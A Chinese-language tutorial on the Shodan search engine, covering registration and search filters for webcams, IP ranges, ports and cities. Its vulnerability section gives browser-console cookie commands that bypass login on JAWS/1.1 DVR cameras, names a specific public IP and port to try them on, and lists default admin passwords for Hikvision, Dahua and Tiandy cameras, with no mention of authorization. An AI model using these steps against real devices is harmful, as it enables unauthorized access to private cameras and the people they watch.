Shodan 搜索
一、简介
与谷歌不同的是,Shodan不是在网上搜s索网址,而是直接进入互联网的背后通道。Shodan可以说是一款“黑暗”谷歌,一刻不停的在寻找着所有和互联网关联的服务器、摄像头、打印机、路由器等等。每个月Shodan都会在大约5亿个服务器上日夜不停地搜集信息。
正确上网后访问:Shodan 官网:https://www.shodan.io
二、注册
使用 Shodan 最好是注册一下,因为不注册的话功能会受限制。需要注册帐号,请打开返个链接注册:https://account.shodan.io/register
三、Shodan 搜索技巧
1、搜索 Webcam 摄像头设备
在搜索框中输入“webcam”或“网络摄像头”进行搜索。也可以限制城市,比如输入: city:beijing webcam
2、搜索 IP 地址
比如搜索:
net:101.222.129.35
3、搜索指定端口
在搜索框中输入 port:端口号,就可以搜索指定端口。
我们可以尝试一些常用端口来进行,搜索比如说我们搜索 80 端口
4、搜索具体城市
搜索栏中输入 city:Beijing 就可以搜索出北京的联网设备,我们可以和 port 迕行组合查询输入 city:beijing port:80 我们可以搜索到北京开放 80 端口的设备
5、搜索具体漏洞
比如:搜索摄像头漏洞JAWS/1.1,若找到该漏洞的摄像头,那么可以执行下列代码,跳过认证。
document.cookie="dvr_camcnt=4";
document.cookie="dvr_usr=admin";
document.cookie="dvr_pwd=123";
找到具有漏洞的服务器,打开,然后在浏览器控制台输入以上命令
浏览器中输入view2.html重新加载页面。
http://5.88.120.91:60001/view2.html
比如:常见摄像头漏洞
海康威视的摄像头(搜索:Hikvsion,用户名:admin,密码:12345)
大华摄像头(用户名:admin,密码:888888)
天地伟业摄像头(用户名:Admin,密码:111111)
四、参考
1、摄像头
2、google黑客资料库
3、Shodan 语法
4、域传送漏洞
5、收集子域名的思路
6、web信息搜集
https://blog.csdn.net/fly_hps/article/details/80944542
https://www.fujieace.com/penetration-test/web-collect-message.html